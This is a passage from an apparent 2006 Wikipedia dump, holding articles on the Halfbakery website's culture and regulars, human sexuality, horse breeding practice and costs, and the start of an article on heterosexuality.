Ideas, once created, can be discussed by any logged-in user. They can:

* Annotate - Users can add comments to the idea. Comments fill on the right of the idea, then continue below. The comments all end in the name of the user, followed by the date the comment was posted, and the date that the comment was changed, if applicable.
* Link - Users can also add links to the idea. If the idea is already existent (baked) users will often post a link to it, and if it is already on the Halfbakery (halfbaked), a link will be posted to the relevant idea. Links can have a title and short summary, and appear under the idea text.
* Vote - Every user has one vote, which can be positive, negative or neutral ([[Default (computer science)|default]]). There is no way to see the origin of any votes other than your own. Votes are displayed both as 'raw votes' in the form XX, -YY (where XX is positive votes and YY is negative votes) and scaled between 2.5 to -2.5 (in croissants and fishbones) above and to the right of the idea.

All user comments, links and votes can be changed or removed by the user themselves, and comments and links can also be removed by the idea creator.

=Halfbakery Culture=

==Writing Style==
The style of writing on the Halfbakery is distinctive. Close attention is paid to grammatical, semantical and spelling mistakes, in contrast to other online [[forums]]. Writing is seldom overly formal, but too much slang or contraction is frowned upon. Ideas can be either serious or satirical, but ideas written too formally are not treated so well either. Lack of paragraph breaks is a sure-fire way to get told off. A common occurrence is a user giving a negative vote, promising to retract it once the offending mistakes have been removed.

Simple faux-[[HTML]] tags are often used such as &lt;sarcasm&gt; or &lt;deep voice&gt; or as action tags such as &lt;backs away slowly&gt; or &lt;looks around, sees lines of people glaring, runs off&gt;. These are mostly used humorously.

==Jargon==
There is a lot of Halfbakery jargon, due to its communal nature. Here are a few examples:

* baked - the idea has already been built
* half-baked - the idea already exists in fiction, or in the Halfbakery itself.
* WTCTTISITMWIBNIIWR - &quot;Wasn't that cool, that thing I saw in the movie? Wouldn't it be neat if it were real?&quot;  (And several analogous formations.)  A complaint about lacking originality.
* WIBNI - Wouldn't it be nice if. Used if something is impossible.
* autoboner - a mythical user who votes against everything (&quot;bone&quot; is short for fishbone, the icon for a negative vote).
* MFD - [marked-for-deletion], a search tag that can lead to idea deletion after moderator review (also used as a verb, meaning 'to mark an idea for deletion).
* bone - same as fishbone, a vote against an idea (also used as a verb)
* bun or pastry - same as croissant, or a vote for an idea (also used as a verb)
* The symbols + and - used in an annotation to indicate if a user voted for or against an idea
* HB, 1/2B, .5B, 'Bakery - Acronyms or Abbreviations for Halfbakery
* Halfbaker, 'Baker - A user of the Halfbakery.

==In-jokes==
The Halfbakery has a number of in-jokes. These mostly take the form of humorous mispellings, prodigous reference to things, or reference to several of the regular users. A few in-jokes are listed here, although the only way to know all of them is to be a regular user of the Halfbakery for some time.

* elf - Used instead of self in many circumstances.
* custard - will appear in many of the ideas, and is usually a guarantee of at least one croissant (although simply mentioning custard to try to get votes will not make you popular).
* [[Van de Graaf]] generators are another oft-appearing device on the Halfbakery.
* TPPCPPC, Third Person Plural Conditional Past Perfect Continuous - a complicated tense, which makes use of a lot of [[auxiliary verbs]], that has become a standing joke since its inclusion in 'Third Person Plural Conditional Past Perfect Continuous Song Lyrics', an idea that is sadly no more.
* cat-and-buttered-toast - often used in reference to any perpetual motion device
* the halfbakery logo changes for the day each Halloween
* pirates - similar in usage to custard or mimes
* Fishties - this is an infamous idea, which had the largest organised conspiracy on the HB. A user made an idea, for ties smelling of fish, and then got people to make an account and vote for it, with a comment mentioning the name of a country.
* The Great Crash of Oct '04 (or Sept '04, or just '04) - a huge crash of the Halfbakery, in which all the data was lost. The Halfbakery was brought back to life using a combination of the [[Wayback Machine]] and [[Google|Google's]] cache. There are still hundreds of abandoned accounts asking their owners to reclaim them, and links which lead nowhere.
* Pedantry - being pedantic is considered, by some regulars, to be a virtue of sorts
* Half - Due to the name of the site, any aspect of half-ness is given special significance. Even the voting scale is halved (0.5-2.5 instead of 1-5).

==Halfbakery Regulars==
Note that names are written in [[square brackets]], as they would be written by many Halfbakers, this is a Halfbakery username convention which is usually observed.

* [UnaBubba], [UB] - a '''very''' prolific user who appears to spend his whole life on the Halfbakery. In real life he is a man in Australia.
* [Vernon] - a user renowned for posting huge ideas and holds the record for the longest idea body ever.  Ever so rarely posts a short idea, only a few sentences long. Known for getting into long scientific arguments.
* [wagster] - a funny person who seems to like cats. He enjoys making people laugh with some very good ideas
* [DrCurry] - a bit of a pedant, a more serious baker. Seen quite often at times, then seems to disappear for a while
* [bristolz] - a halbakery moderator, bristolz also does illustrations of ideas for people who ask kindly
* [DesertFox] - another who is another '''very''' prolific baker, he will do anything to make a pun. His ideas go from sensible, &quot;Gel Keys&quot;, to silly, &quot;Creepy Carpet&quot;
* [po] - the Teletubby of the HB, she wanted to be Dipsy. Loves to laugh, and loves cats and pigeons.
* [benfrost] - His ideas sometimes border on insane. Inventor of the &quot;Hairpoon&quot;. Currently holds the record for the idea with the most negative votes.  Enjoyed by most for his shock-humor style.
* [Steve DeGroof] - a real old-timer, formerly known as &quot;degroof.&quot;
* [jonthegeologist] - a wise moderator, baker and Olympic competitor for charity in 2012.
* [hippo] - a long-time and well-loved baker known for having many ideas in the 'top ten list.'
* [DrBob] - the [[Lewes]] connection.
* [FarmerJohn] - an extremely prolific former regular, known for his creativity, bizarre clock designs, and humorous sketches
* [RayfordSteele] - a frequent regular who moderates the related discussion group '''overbaked.'''
* [waugsqueke] - a former baker who helped keep the bakery standards of excellence in creativity.
* [krelnik] - a baker who wrote a treatise on bakery culture and an excellent guide for first-time posters.  To document well-written firsttime posts by newbies, he often would use the acronym WTAGIPBAN (wasn't that a good idea, posted by a newbie!)
* [bungston] - a '''very''' prolific baker who is fond of using advertisements and stories from the fictional company BUNGCO to describe his ideas.
* [AfroAssault] - an infrequent regular who often posts ideas concerning fringe cultural topics.
* [sartep] - a halfbakery moderator, who stands up for the non terrestrial point of view.
* [theircompetitor] - a regular known for his enjoyment of politically controversial subjects.

=External links=
* [http://www.halfbakery.com The Halfbakery]
* [http://www.bz.pair.com Halfbakery Illustrations by bristolz]
* [http://www.halfbakery.com/view/s=o:d=on:dh=2:dn=25:ds=3:n=:i=Every_20halfbaker_20who_20has_20written_20an_20idea_20on_20the_20Halfbakery:t=All_20the_20Halfbakers A list of every halfbaker who has published an idea]

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  </page>
  <page>
    <title>Human sexuality</title>
    <id>14079</id>
    <revision>
      <id>41752502</id>
      <timestamp>2006-03-01T14:16:23Z</timestamp>
      <contributor>
        <username>MementoVivere</username>
        <id>72040</id>
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      <minor />
      <comment>rvv by [[Special:Contributions/68.97.60.155|68.97.60.155]] without losing subsequent edits</comment>
      <text xml:space="preserve">{{Portalpar|Sexuality}}

:''This article is about the issues and phenomena pertaining to sexual function and behavior.  For information about sexual activities and practices, see the article [[human sexual behavior]].

'''Human sexuality''' refers to the expression of sexual sensation and related intimacy between human beings, as well as the expression of identity through [[sex]] and as influenced by or based on sex.  There are a great many forms of human sexuality.  The '''[[sexuality]] of [[human]] beings''' comprises a broad range of behavior and processes, including the [[physiology|physiological]], [[psychology|psychological]], social, [[culture|cultural]], [[politics|political]], and [[spirituality|spiritual]] or [[religion|religious]] aspects of sex and [[Human sexual behavior|human sexual behavior]]. [[Philosophy]], particularly [[ethics]] and the study of [[morality]], as well as [[theology]], also address the subject. In almost any historical era or culture, the arts, including literary and visual arts, as well as popular culture, present a substantial portion of a given society's views on sexuality. In most societies and legal jurisdictions, there are [[law|legal]] bounds on what sexual behavior is permitted. Sexuality varies across the cultures and regions of the world, and has continually changed throughout history.

A large variety of books, educational websites, and local education/support/social organizations exist for various forms of sexuality.  

== Physiological aspects ==

Human sexuality can be influenced by hormonal changes in the development of the [[fetus]] during [[pregnancy]]. Many claim its manner of expression is largely due to genetic predisposition. Others say it is due to one's own personal experimentation in early life, and thus the establishment of preferences. A less divisive approach recognises that both factors may have a mutual role to play.  [[Human physiology]] and gender makes certain forms of sexual expression possible.

== Social aspects ==

Human sexuality can also be understood as part of the social life of humans, governed by implied rules of behavior and the [[status quo]].  Thus, it is claimed, sexuality influences social [[norms]] and society in turn influences the manner in which sexuality can be expressed. Since the invention of the [[mass media]], things such as movies and advertising have given sexuality even more ability to shape the environments in which we live.  Some see sexuality as distilled (often into [[stereotypes]]) and then repeatedly expressed in commercialized forms.
 
[[Gender identity]] is an aspect of human sexuality that can be affected by one's social environment, and differerent social environments can have specific attributes they associate with each sex, such as certain types of dress, colors, behaviors. A common example in western media could be the portrayal of a little boy in blue shorts and a white T-shirt playing with a toy truck, while a girl is shown in a pink dress playing with a doll.

==Society and politics==
===Sex education===
[[Sex education]] is the component of education, typically pre-university/college level, which involves instruction in the health aspects of sexual functions, behavior, and hygiene. All, or nearly all, governments and societies today advocate some degree of sex education. In most educational systems, it reflects the dominant views on sexual behavior, typically attempting to achieve some kind of compliance with the policies of the educational authority, such as the use or non-use of contraception or views on non-marital/pre-marital intercourse.

Some less popular approaches to sexual education focus on abstinence before marriage.  Such courses demonstrate the dangers of diseases or teen pregnancy.  Most of these courses can be summed up by the idea that if they tell a teenager not to have sex, it might be effective.  However, just in case, they will teach them how to use a condom anyway.

== Cultural and psychiatric aspects ==

[[Human sexual behavior]] in most individuals is typically influenced, if not largely determined, by [[norms]] from the culture in which the individual lives. Examples of such norms are prohibitions on [[sexual intercourse]] before [[marriage]], or against [[anal intercourse]], or other activities, because the [[religion]] to which the individual's culture adheres forbids such activities. 

Those who wish to express a dissident [[sexuality]] often form [[sub-culture|sub-cultures]] within the main culture.  In many cases, forms of sexuality may develop into a [[Sexual_fetishism|fetish]] or develop into a psychiatric [[disorder]] ([[paraphilia]]). [[Paraphilias]] can also result from childhood abuse or mistreatment.

==Documentary Films==
*''Filming Desire: A Journey Through Women's Film'', A film by Marie Mandy, 2000

*''(Comedy)[[The Mating Habits of the Earthbound Human]] (1999) Starring: David Hyde Pierce, Mackenzie Astin Director: Jeff Abugov

*&quot;New Sex Now: Life's Ultimate Pleasure&quot; (2002, New Sex Institute)

==Study of sexuality==
In contemporary academia, sexuality is studied in the field of [[gender and sexuality studies]], among many other fields.

== Topics in human sexuality ==
*[[Sexology]]
*[[Sex organ]]
*[[Genital modification and mutilation]]
*[[Sexual orientation]]
*[[Paraphilia]]
*[[Sexually transmitted disease]]
*[[Human sexual behavior]]
*[[Sex crime]]
*[[Human male sexuality]]
*[[Human female sexuality]]

==External links==
*[http://hmsx.sfsu.edu/ Program in Human Sexuality Studies]
*[http://nsrc.sfsu.edu/ National Sexuality Resource Center]
*[http://www.arhp.org/ Association of Reproductive Health Professionals]
*[http://www.uvm.edu/~dhowell/EBS/History_of_Surveys_of_Sexual_Behavior1.pdf History of Surveys of Sexual Behavior] from [http://www.uvm.edu/~dhowell/EBS/ Encyclopedia of Behavioral Statistics]
*[http://www.jhuccp.org Johns Hopkins Bloomberg School of Public Health Center for Communication Programs (JHUCCP)] creates behavior change communication programs related to Reproductive Health in developing countries.
*[http://db.jhuccp.org/popinform/basic.html POPLINE] is a searchable database of the world's reproductive health literature.


[[Category:Human sexuality|*]]

[[bg:Сексуалност]]
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[[pt:Sexologia]]
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[[vi:Tình dục]]</text>
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  </page>
  <page>
    <title>Horse Breeding</title>
    <id>14080</id>
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      <id>15911658</id>
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      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Horse breeding]]
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  </page>
  <page>
    <title>Horse breeding</title>
    <id>14082</id>
    <revision>
      <id>41592233</id>
      <timestamp>2006-02-28T10:15:40Z</timestamp>
      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
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      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Deutsches Reitpony - Stute mit säugendem Fohlen.jpg|thumb|right|400px]]

'''Horse breeding''' is the process of using [[selective breeding]] to produce additional individuals of a given [[phenotype]], that is, continuing a [[breed]]. Alternatively, a breeder could, using individuals of differing phenotypes, create a new [[breed]], with specific characteristics.

Beyond phenotype (appearance and [[equine conformation|conformation]]) of horses, breeders aspire to improve physical performance abilities. This has led to the development of families or bloodlines within breeds that are specialists for excelling in specific events.

An example of this is horses that are bred to excel in a performance event called &quot;Cutting&quot;, or separating a cow from a herd and frustrating the cow's strong instinct to rejoin the herd.  This event favors horses that are highly trainable, eg - have an ability to learn from repetitive stimuli, that conformationally have short cannons and low hocks to facilitate quick stops and low turns, are muscular and athletic and commonly somewhat short in stature, and who demonstrate an attitude of dominating a cow, known as &quot;cowsense.&quot;

Another example would be [[show hunter]] horses that are bred to excel in events such as &quot;Hunter Under Saddle,&quot; &quot;English Pleasure,&quot; or &quot;Hunter On The Flat.&quot; This event favors animals that are tall and leggy, who are able to trot and canter smoothly and efficiently while giving the equestrian a comfortable ride, and who have a naturally good jump with [[bascule]] and good form.

A [[show jumping|show jumper]], however, would be bred less for overall form and more for power over fences, speed, scope, and a general carefulness. This favors a lighter horse with a good galloping stride, a powerful and strong hind end, and a good shoulder angle and length of neck. 

The [[male]] [[parent]] of a horse is commonly known as the [[sire]] and the [[female]] [[parent]] as the dam. The quality of the [[sire]] is regarded as more important than the quality of the [[mare]] in many circles. However, both are equally important, as each gives 50% of the genes. It may even be said that the mare is ''more'' important, as the foal often learns habits from its dam when young.


==A Brief History of Horse Breeding==
Man is thought to have first driven the horse several thousand years ago, and to have mounted and ridden the animal a few thousand years following. However, documented breeding has a more blurry history.

One of the earliest people known to document the breedings of their horses were the [[Bedouin]]s, the breeders of the great [[Arabian (horse)|Arabian horse]]. The ancient [[Akhal-Teke]] has also been bred for centuries, possibly longer than the Arabian, specifically for war and racing. The nomads of the Mongolian steppes bred horses for several thousand years as well, and horse herding is still present in modern Mongolia. 

Horse breeding changed with the times. Medieval Europe bred large horses specifically for war, called destriers. These horses were the ancestors of the great heavy horses of today, and their size was preferred not because of the weight of the armor, but because a large horse provided more power for the knight’s lance. Weighting almost twice as much as a normal riding horse, the destrier was a powerful weapon in battle. During this time, lighter horses were bred in northern Africa and the Middle East by Muslim warriors, who did not use lances and preferred a faster, cat-like horse than a slower, larger horse. The lighter horse suited the raids and battles of the Bedouins better than a destrier, and allowed them to outmaneuver rather than overpower the enemy. The Europeans, however, made up for the lack of speed of their native breeds by adding hotter blood—probably [[Arabian (horse)|Arabian]], [[Barb (horse)|Barb]], or [[Akhal-Teke|Turkish]]—to their stables to create a type of horse known as a Courser, which was used as a message horse rather than a war horse.

The need for horses for heavy draft work continued until the [[industrial revolution]] and the advent of the automobile. After this time, draft horse numbers then dropped significantly. The animals are today used mainly for pulling and plowing competitions rather than farm work. They have also been used to outcross with lighter breeds, such as the [[Thoroughbred]], to produce a horse more suited for the sport horse disciplines.

During the [[Renaissance]], horses were bred not only for war, but for [[classical dressage|haute ecole]] riding, which was the current rage. Thus the [[Lipizzaner]] was first developed from the Spanish horses.

It was during the 1600s when Europe began to really focus on breeding horses for specific purposes. The use of the horse determined its qualities, from smooth amblers for riding to horses bred specifically for carrying goods. It was during this time that gunpowder was developed, and so the light cavalry horse, a faster and quicker war horse, was bred for a “shoot and run” tactic rather than the close hand-to-hand fighting seen in the Middle Ages.

After [[Charles II of England|Charles II]] retook the British throne in 1660, horse racing, which had been banned by Cromwell, was revived. The [[Thoroughbred]] was developed 40 years later, bred to be the ultimate racehorse, through the lines of 3 foundation stallions. The Thoroughbred breeding hub in Lexington, Kentucky was developed in the late 1700s, and became a mainstay in American racehorse breeding. The Thoroughbred continues to dominate the horseracing world, although its lines have been more recently used to improve warmblood breeds and to develop sport horses. 

The 17th and 18th centuries saw more of a need for fine carriage horses in Europe, bringing in the dawn of the warmblood. The warmblood breeds have been exceptionally good at adapting to changing times, and from their carriage horse beginnings they easily transitioned during the 1900s into a sport horse type. Today’s warmblood breeds, although still used for [[combined driving|competitive driving]], are more often seen competing in the [[show jumping]] or [[dressage]] arenas.

The [[American Quarter Horse]] was developed in the 1700s, mainly for quarter racing (racing 1/4 of a mile). The breed was later developed for work in the west; and “cowsense” was particularly bred for as their use for herding cattle increased. The Quarter Horse today has two distinct types: the sleeker racing type and the stock horse type. The racing type most resembles the finer-boned ancestors of the first racing Quarter Horses, and the type is still used for 1/4-mile races. The stock horse type is the more popular of the two, and is used in western events and is bred for a shorter stride, docile temperament, and cowsense.

==Deciding to Breed a Mare==
[[Image:Cabalo121eue.JPG|thumb|left|300px]]

Breeding a horse should be taken seriously, and the owner should be willing to invest the time and money into the endeavor. It is agreed by most that the one area where an owner should not cut costs is the stud fee, which is generally the area in which most amateur breeders try to save money. If a mare owner is not financially able to breed without cutting back on the stud fee, it is oftentimes best to wait to breed the mare.

A mare should not be bred for the sake of it, but instead have valuable qualities to pass on. The mare owner should in an honest and in an unbiased manner consider the mare’s temperament, conformation, performance record, soundness, bloodlines, and health. Only a mare of good quality should be bred. Many times a mare is bred because the mare owner is in love with her, rather than because she is of good quality, producing a disappointing and unathletic foal. The mare owner has a great responsibility in this aspect.

Mare owners should also recognize the fact that they will probably not make a profit off their breeding. Top breeding farms know where to cut costs, and are producing in bulk, so are better able to make a profit. The average mare owner, however, should generally aim to break even.


==Choosing a Stallion==	
The stallion should be chosen to complement the mare, improving on her poorer qualities. A bad crossing between to otherwise superb horses may produce an average foal. However, a good crossing between two above average horses can result in a very nice foal. 

Generally, the stallion should have proven himself in the discipline or sport the mare owner wishes to breed for. An owner intending the foal for jumping, therefore, should not breed the mare to a cutting horse or a local backyard stallion that has not competed. 

[[Image:Trakhener - Dressur Erstes 2.jpg|thumb|400px|right|This [[Trakehner]] would be most appropriate to sire horses for the discipline of [[dressage]]. With a proven competition record, he is well-qualified.]]

Bloodlines are often considered when choosing a stallion, as some bloodlines are known to cross well with others. For example, it is well-known by warmblood breeders that crosses between Donnerhall offspring and [[Pik Bube]] offspring produce horses of great quality. If the stallion has not yet proven himself in the breeding shed or while competing, the bloodlines of the horse are often a good indicator of his quality and possible strengths and weaknesses. Some bloodlines are known not only for their athletic ability, but also for a conformational default, poor temperament, or for a medical problem such as roaring or scrotal hemorrhages. Some bloodlines are also extremely marketable, which is an important consideration should the mare owner wish to sell the foal.

The mare owner should consider the size of the stallion, as larger stallions will tend to produce large offspring. A small mare may therefore not be a good cross with a large stallion, as she may have foaling problems due to the great size of her foal. Size may also affect the intended use of a foal. A large horse is often preferred for jumping and eventing, while smaller animals are often considered better cutting horses. If the breeder intends the horse to be used as a child's mount, it is generally advisable to breed for a smaller animal rather than a larger one.

Temperament is often a critical factor to consider when choosing a stallion. This is especially true if the mare owner is intending to breed a horse for a child or amateur, as a good temperament is oftentimes a top priority by nonprofessional horse owners. Poor temperament may also be detrimental to performance when the horse competes, if he is constantly fighting the requests of the rider. However, [[Thoroughbred racing]] usually favors horses that are aggressive because they tend to intimidate their opponents while running, and many &quot;mean&quot; racehorses have been excellent on the track.

The [[equine conformation|conformation]] of the stallion is of utmost importance. Conformation is easily passed on, and poor conformation may ruin a foal’s chance of ever succeeding in his intended discipline. The stallion should have especially strong conformation in the areas where the mare is weak. So a mare with slightly crooked legs but a powerful hind end might cross well with a stallion with exceptionally straight and well-conformed legs, but a weaker hind end.

The fertility of the stallion should be noted, including the motility of his sperm if he is to be bred using AI. A stallion may not be able to breed naturally, or old age may decrease his performance. It is important not to assume that a stallion with a good competitive performance career is a fertile stallion: the great racehorse [[Cigar (horse)|Cigar]] was infertile despite his fantastic career on the track. A mare owner should ask the stud to supply the stallion’s breeding statistics, including the number of mares that he bred and the number that were actually impregnated.

The offspring, or “get,” of a stallion are often excellent indicators of his ability to pass on his characteristics, and the particular traits he actually passes on. Some stallions sire fillies of great abilities but not colts. [[Secretariat]] was known as a broodmare-sire: his sons and daughters never performed particularly well, but the offspring of his daughters had talent. Some stallions are fantastic performers but never produce offspring that win in their sport (this has been seen in history with several racehorses, such as [[Babamist]], who produced offspring that excelled in the sport horse disciplines, especially [[eventing]], but never succeeded on the track).

The breed of the stallion is usually secondary when breeding for a sport horse. However, a pure horse is often worth more than one of mixed blood, especially if it is registered. Several disciplines prefer a certain breed of horse as well, such as [[American Quarter Horse]]s for the western disciplines. Racehorses must usually be of pure blood to race. However, when breeding for sport, performance is considered more strongly than breed.

==The Cost of Breeding==
Breeding a horse can be an expensive endeavor, whether breeding a backyard competition horse or the next Olympic medalist. Costs may include:

* The stud and booking fee
* Fees for collecting, handling, and transporting semen (if AI is used and semen is shipped)
* Mare exams: to determine if she is healthy enough to breed, to determine when she ovulates, and (if AI is used) to inseminate her
* Mare transport, care, and board: if the mare is bred live cover at the stallion's residence
* Veterinary bills to keep the pregnant mare healthy while in foal
* Possible veterinary bills during pregnancy or foaling should something go wrong
* Veterinary bills for the foal for his first exam a few days following foaling

===Stud and Booking Fees===
Stud fees are determined by the quality of the stallion, his performance record, the performance record of his get (offspring), as well as the sport and general market that the animal is standing for. 

The highest stud fees are generally for racing [[Thoroughbred]]s, which may charge from two to three thousand dollars for a breeding to a new or unproven stallion, to several hundred thousand dollars for a breeding to a stakes winner. Sport horse stallions generally range from $1000 to $3000, although the top stallions may reach $4000 for one breeding. The lowest stud fees may only be $100-$200, but there are trade-offs: the horse will probably be unproven, and probably much less athletic than a horse with a stud fee only $100-$200 more.
 
As a stallion's career, either performance or breeding, improves, his stud fee tends to increase in proportion. If one or two offspring are especially successful, winning several stakes races or an Olympic medal, the stud fee will generally greatly increase. Younger, unproven stallions will generally have a lower stud fee earlier on in their careers.

There is oftentimes a booking fee included in the stud fee, which is used to reserve a place in the stallion's upcoming breeding schedule. This generally ranges from $50 to several hundred dollars.

For mares that are not bred &quot;live cover,&quot; there is also a collection fee and shipping fee for the semen. This may be a few hundred dollars, depending on the distance and the stud fee of the horse.

To help decrease the risk of financial loss should the mare die or abort the foal while pregnant, many studs have a live foal guarantee (LFG), allowing the owner to have a free breeding to their stallion the next year. However, this is not offered for every breeding.

==Covering the Mare==
There are two general ways to &quot;cover&quot; or breed the mare:

*'''Live cover''': the mare is brought to the stallion's residence and is covered &quot;live&quot; in the breeding shed. She may also be turned out in a pasture with the stallion for several days to breed naturally. The former situation is often preferred, as it provides a more controlled environment, allowing the breeder to ensure that the mare was covered, and places the handlers in a position to remove the horses from one another should one attempt to kick or bite the other.

*'''Artificial Insemination (AI)''': the mare is inseminated by a veterinarian, using either fresh cooled or frozen semen. 

After the mare is bred or artificially inseminated, she is checked 16 days later to see if she “took,” and is pregnant. A second check is usually performed at 28 days. If the mare is not pregnant, she may be bred again during her next cycle.

===Live Cover===
When breeding live cover, the mare is usually boarded at the stud. She is &quot;teased&quot; several times with a stallion that will not breed to her, usually with the stallion being presented to the mare over a barrier. Her reaction to the teaser, whether hostile or passive, is noted. A mare that is in heat will generally tolerate a teaser (although this is not always the case), and may present herself to him, holding her tail to the side. A veterinarian may also determine if the mare is ready to be bred, by ultrasound or palpating daily to determine if ovulation has occurred.

When it has been determined that the mare is ready, both the mare and intended stud will be cleaned. The mare will then be presented to the stallion, usually with one handler controlling the mare and one or more handlers in charge of the stallion. Multiple handlers are preferred, as the mare and stallion can be easily separated should there be any trouble. 

===[[Artificial Insemination|Artificial Insemination (AI)]]===
AI has several advantages over live cover, and has a very similar conception rate:

* The mare and stallion never have to come in contact with each other, which therefore reduces breeding accidents, such as the mare kicking the stallion. 
* AI opens up the world to international breeding, as semen may be shipped across continents to mares that would otherwise be unable to breed to a particular stallion. 
* A mare also does not have to travel to the stallion, so the process is less stressful on her, and if she already has a foal, the foal does not have to travel.
* AI allows more mares to be bred from one stallion, as the ejaculate may be split between mares.
* AI reduces the chance of spreading sexually transmitted diseases between mare and stallion.
* AI allows mares or stallions with health issues, such as sore hocks which may prevent a stallion from mounting, to continue to breed.
* Frozen semen may be stored and used to breed mares even after the stallion is dead, allowing his lines to continue. However, the semen of some stallions does not freeze well, and live cover is sometimes the only option.

It is important to note that the [[Thoroughbred]] industry does not allow AI, and all breedings must be live cover if the resulting foal is to be registered to race.

A stallion is usually trained to mount a phantom mare, although a live mare may be used, and he is collected using an artificial vagina (AV), which is often heated to simulate the vagina of the mare. The AV has a filter and collection area at one end to collect the semen, which is then processed in a lab. The semen is then chilled or frozen and shipped to the mare owner. When the mare is in heat, a veterinarian introduces the semen directly into her via a syringe and pipette.

[[Image:Gallop.jpg|thumb|200px|right|The [[Thoroughbred]] industry does not allow AI or surrogate dams.]]

===Surrogate Dams===
Often an owner does not want to take a valuable competition mare out of training to carry a foal. This presents a problem, as the mare will usually be quite old by the time she is retired from her competitive career, at which time it is more difficult to impregnate her. Other times, a mare may have physical problems that prevent or discourage breeding. However, there are now several options for breeding these mares. These options also allow a mare to produce multiple foals each breeding season, instead of the usual one. Therefore, mares may have an even greater value for breeding.

*'''[[Embryo transfer|Embryo Transfer]]''': The relatively new method involves removing the mare's fertilized embryo a few days following insemination, and transferred to a surrogate mare. 

*'''Gamete Intrafallopian Transfer (GIFT)''': The mare's ovum and the stallion's sperm are deposited in the oviduct of a surrogate dam. This technique is very useful for subfertile stallions, as fewer sperm are needed, so a stallion with a low sperm count can still successfully breed. 

*'''Egg Transfer''': An [[oocyte]] is removed from the mare's follicle and transferred into the oviduct of the recipient mare, who is then bred. This is best for mares with physical problems, such as an obstructed oviduct, that prevent breeding.


It is important to note that the [[Thoroughbred]] industry does not allow foals from surrogate mothers to be registered.

===See also===
* [[Horse]]
* [[Horse breeds]]
* [[Horse racing]]
* [[Horse reproduction]]
* [[Horse training]]

[[Category:Horse management]]

[[de:Pferdezucht]]</text>
    </revision>
  </page>
  <page>
    <title>Heterosexuality</title>
    <id>14084</id>
    <revision>
      <id>41778539</id>
      <timestamp>2006-03-01T18:07:29Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.253.212.218|216.253.212.218]] ([[User talk:216.253.212.218|talk]]) to last version by 86.49.56.69</comment>
      <text xml:space="preserve">{{Sexual orientation}}
'''Heterosexuality''' is the scientific name for [[sexual attraction]] and/or [[sexual behaviour]] between animals of the opposite characteristic sex, or being straight. It is the fifth element of the classic quinto-modal continuum of [[sexual orientation]], which consists of [[asexuality]], [[autosexuality]], [[homosexuality]], [[bisexuality]], and heterosexuality.  Some theorists extend the continuum to include such concepts as &quot;[[allosexuality]]&quot;, but these have not yet been accepted by the academic community as actual sexual orientations.

Applying this definition to people complicates it, because there are several determinants that may or may not be important for categorization:

#Chromosonal indicators (XX, XY or unusual variations)
#Internal reproductive anatomy (immature, mature or &quot;different&quot;)
#Any of the several hormonal indicators 
#External anatomy (commonly breasts &amp; external genitals, but not always)
#Projected assumptions of sexuality at birth
#Projected assumptions of sexuality after birth
#Individually chosen assumptions after birth
#Assumptions from external appearances and clothing 
#Assumptions from external behaviours (excluding visual appearances)
#Assumptions from reputation(s)
#Situational judgements; changing depending on environments, such as companions, clubs, etc.

For most humans, in most of the time of their lifespan, the above factors may correlate very well. After the sexual hormone production changes about the ages of fifty, changes are expected at physiological, sensory, visual, emotional and physical levels.  Inexperienced persons however often are mistaken in their judgements on hetero or other sexualities.
 
Note that if one of the animals involved in the sexual attraction and/or behaviour is intersex, or (more rarely) of indeterminable characteristic sex - and particularly if the sexual attraction and/or behaviour involves something other than another animal (e.g., sexual behaviour between an animal and a plant) - the attraction and/or behaviour cannot be classified quadrimodally as heterosexual, homosexual, etc.  

The concept of heterosexuality as applied to humans is further complicated by  the distinction between [[sex]] and [[gender]] in humans. [[Sexual orientation]] may be based on sex, gender, or some combination of both: for example, some heterosexuals are attracted only to people of the opposite sex, regardless of those people's gender, and others are attracted to people of the opposite gender, even if they are of the same sex.

People who cannot be classified as &quot;[[male]]&quot; or &quot;[[female]]&quot; -- in terms of either gender or sex -- cannot have any sexual orientation as that concept is currently constructed; thus, their sexual behaviour cannot be heterosexual, homosexual, though certain types of behaviour can always be classified as autosexual.

Sexual impulses in humans are generally thought to be the product of [[genetics|genetic]], [[chemical]], [[behavioural]], sometimes other factors that produce an [[erotic]] [[sexual desire|desire]] that is generally trained to a particular sexual orientation.  Human sexual behaviour routinely is not correlated to an individual's actual or declared sexual orientation.  Human behaviour may in fact involve emotional, cognitive, social and physical parts of the body, consciously or deliberately often (but not always), so that a clear label of a type of sexuality may be applied.

Heterosexuality is usually contrasted with [[homosexuality]] and sometimes [[bisexuality]].  Current trends in [[psychology]] suggest heterosexuality and homosexuality may exist on a non-modal [[continuum]] rather than as discrete entities.  Thus, views on heterosexuality are divided among those who hold that heterosexuality is a concrete idea of attraction towards the opposite sex, versus those that hold that heterosexuality is more fluid. Acknowledging that a person's sex and gender can differ also requires a more flexible definition of heterosexuality.

In the [[animal]] kingdom, the vast majority of [[sexual reproduction]] results from heterosexual [[coitus]] between sexually mature partners. However, many modern psychologists hold that [[sexuality]] in humans is a larger term than originally thought, encompassing more complex behaviors.  Given the tension between the biological definition of heterosexuality and the modern psychological definition of heterosexuality, political and sociological discussions of the subject are often difficult.

==Etymology==

''Hetero-'' comes from the Greek word ''heteros'', meaning &quot;different&quot; (for other uses, see [[heterozygote]], [[heterogeneous]]), and the Latin for sex (that is, characteristic sex or [[sexual differentiation]]).  The term &quot;''heterosexual''&quot; was [[Neologism|coined]] shortly after and opposite to the word &quot;homosexual&quot; by [[Karl Maria Kertbeny]] in [[1868]] and was first published in [[1869]].  [[Heterosexuality#References|&lt;nowiki&gt;[2]&lt;/nowiki&gt;]] ''&quot;Heterosexual&quot;'' was first listed in Merriam-Websters's ''New International Dictionary'' as a medical term for &quot;morbid sexual passion for one of the opposite sex&quot;, but in 1934 in their ''Second Edition Unabridged'' it is a &quot;manifestation of sexual passion for one of the opposite sex; normal sexuality&quot;. (Katz, 1995)

==History and demographics==

The prevalence of exclusive heterosexuality has varied over the centuries and also from culture to culture. ''See [[Demographics of sexual orientation]]''

Though there have always been individuals (sometimes in a majority, sometimes in a minority) who were exclusively attracted to those of the opposite sex, heterosexuality as an identity (just like homosexuality) has developed only since the middle of the nineteenth century.

